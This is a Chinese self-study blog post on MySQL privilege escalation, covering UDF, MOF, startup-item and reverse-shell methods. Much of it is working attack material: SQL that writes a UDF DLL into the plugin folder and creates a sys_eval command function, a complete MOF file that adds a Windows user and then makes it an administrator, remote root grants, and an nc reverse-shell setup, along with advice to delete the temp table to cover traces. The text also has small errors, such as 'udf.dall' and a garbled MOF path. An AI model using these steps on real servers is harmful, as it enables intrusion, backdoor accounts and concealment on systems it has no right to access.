mysql提权总结(自学)

目录

MySQL数据库提权简介

UDF提权

原理

利用条件

利用准备

利用过程

MOF提权

原理

利用条件

利用过程

自启动提权

反弹shell提权

总结


MySQL数据库提权简介

一般数据库提权思路:

  1. 检测数据库的存在(探测端口)
  2. 获取到数据库的权限密码
  3. 查看数据库的类型分类

最主要的就是要获取到数据库的账号密码,获取方式大概有:

  • 读取网站的配置文件
  • 读取数据库备份文件下的库中的表的信息,例如MySQL数据库在mysql_user表中存储账户密码,使用cmd5-mysql5解码
  • 暴力破解账户密码,需要支持外联(mysql默认不支持)。可以使用密码脚本在本地爆破,也可以使用工具如msf的scanner mysql_login模块

MySQL数据库提权方式主要有三种

  • 使用sqlmap的--os-shell
  • 使用写入一句话木马,union select 1,一句话木马,3 into outfile/dumpfile 文件路径
  • udf提权
  • mof提权
  • 启动项提权-反弹shell-exp提权

UDF提权

原理

MySQL内置函数不满足需要,所以MySQL提供了添加新函数的机制,自行添加的MySQL函数就称作UDF(User-Defined-Function)。

用户可以自定义提权的函数(比如执行系统命令函数)来进行提权。

MySQL版本大于5.1版本:udf.dll文件必须放置在MySQL安装目录下的lib\plugin文件夹下

MySQL版本小于5.1版本:udf.dll文件在Window2003下放置在C:\Windows\System32下;在Windows2000放置在C:\Winnt\System32

利用条件

  • 获取到MySQL权限,或者说获取到MySQL账号密码,能够调用MySQL语句
  • MySQL具有写入功能,也就是secure_file_priv值不为具体值或者为固定某值,可以用SQL语句查询:
    show global variables like 'secure%';
  •  要有root权限,且要允许外连。root账户允许外连的SQL语句:
    grant all PRIVILEGS on *.* to 'root'@'192.168.15.249' identified by '112358';

利用准备

1、熟悉对方的MySQL目录结构和主机型号,使用SQL命令查看:

show variables like '%compile%';

 2、确定MySQL的目录结构,搜索位置

show variables like '%plugin%';    #查找具体目录
select @@basedir;        #查看MySQL目录

3、kali里面其实有自带的udf提权脚本,并且有32位和64位的版本,目录位置:

/usr/share/metasploit-framework/data/exploits/mysql

利用过程

  1. 如果有文件上传漏洞,可以使用蚁剑等工具连接之后,然后直接将提权脚本文件放入lib\plugin目录下,然后使用mysql终端,创建自定义函数sys_eval
    create function sys_eval returns string soname 'udf.dall';
  2. 直接在mysql终端创建目录,导入文件
    create table temp(data longblob);        #以二进制数据流容器longblob创建临时data表
    insert into temp(data) values (unhex('udf文件的16进制格式'));        #将udf.dll脚本的十六进制写入data表
    select data from temp into dumpfile "xxx\\xxx\\lib\\plugin\\udf.dll";        #将udf文件导入到指定目录
    create function sys_eval returns string soname 'udf.dll';        #创建自定义函数sys_eval
  3. 调用脚本创建sys_eval函数 ,可以使用kali自带脚本也可以用msf进行提权

最后为了删除痕迹,要把刚刚新建的data表删掉。

MOF提权

原理

类似于udf提权,但成功率低,简单总结来说就是替换原来文件,然后利用自启动原理执行文件进行提权。

在Windows系统下,存在一个mof文件,路径C:/Windows/System32/wbem/mof/nullevt.mof,它的特点为每隔极短一段时间,便会以System权限自动运行文件内脚本,mof提权就是利用这点,将写好的mof文件导入该目录中,让它自动执行代码。

利用条件

  • 有mysql账号和密码
  • 目录可写入

利用过程

select load_file('mof文件路径') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'
#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user secist 123 /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

执行完毕替换net user hsy 123456 /add换为
net localgroup administrators hsy/add 即可将用户提升管理员权限

自启动提权

利用条件:mysql开启外连;知道账号密码

GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '密码' WITH GRANT OPTION;

使用msf 搜索使用mysql start-up模块 设置目标IP 账号密码 还可以写入反弹shell接受IP 写入启动项 需要对方启动系统,如果权限不够高,可以尝试反弹shell能否获取更高权限

反弹shell提权

mysql创建反弹函数select backshell(‘发送到的ip地址’,‘端口’),kali使用nc监听本地(攻击机)IP nc -l(本地)-p 端口

总结

  • mysql提权有很多种方法,有通过sqlmap的--os-shell、通过写入文件(outfile/dumpfile)、通过udf提权、通过mof提权、通过自启动提权等等
  • mysql提权需要的三个条件:要有能够执行数据库语句的权限(知道数据库账号密码);mysql数据库要有能够写入的权限,secure_file_priv的值不为具体值或者为某个具体值(为null表示禁止导入导出);mysql账号要有root权限,或者是有root权限的其他用户,且要允许外连
  • UDF提权原理是因为mysql提供自定义函数的功能,所以可以自定义提权的函数(例如命令执行等),而udf.dll文件放在数据库目录下的lib/plugin下
  • UDF提权利用方式可以通过蚁剑连接上传脚本后直接将udf.dll放置在目录下然后进行创建函数;也可以通过mysql命令语句执行,先创建表然后将文件内容的16进制传入表中,然后再通过写入文件函数dumpfile写入指定目录,最后再创建函数;还可以利用脚本进行创建函数(kali有自带的脚本,也可以通过msf等的脚本利用工具)。
  • MOF提权相对于UDF提权相对利用率较低,它是专门针对Windows提权的。原理是因为Windows下有一个mof文件,路径在C:/Windows/system32/webm/mog/nullevt.mof下,它特点是每隔一段时间,系统就会以root权限去执行这个文件,利用这一点就可以进行利用。

相关推荐

  1. mysql总结自学

    2024-03-18 08:30:04       40 阅读
  2. linux 总结_linux

    2024-03-18 08:30:04       29 阅读
  3. MySQL方式

    2024-03-18 08:30:04       39 阅读
  4. mysql数据库

    2024-03-18 08:30:04       26 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-03-18 08:30:04       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-03-18 08:30:04       100 阅读
  3. 在Django里面运行非项目文件

    2024-03-18 08:30:04       82 阅读
  4. Python语言-面向对象

    2024-03-18 08:30:04       91 阅读

热门阅读

  1. 基于深度学习的车辆检测技术

    2024-03-18 08:30:04       37 阅读
  2. 程序分享--排序算法--桶排序

    2024-03-18 08:30:04       46 阅读
  3. 《C++ Primer Plus》第六章课后题

    2024-03-18 08:30:04       32 阅读
  4. Haproxy 负载均衡集群

    2024-03-18 08:30:04       41 阅读
  5. 【Docker】Solr容器化部署及配置参数详情

    2024-03-18 08:30:04       45 阅读
  6. Solr完结版

    2024-03-18 08:30:04       38 阅读
  7. Kafka(十)安全

    2024-03-18 08:30:04       34 阅读
  8. Mysql数据库的多实例部署

    2024-03-18 08:30:04       35 阅读
  9. widget一些控件的使用

    2024-03-18 08:30:04       41 阅读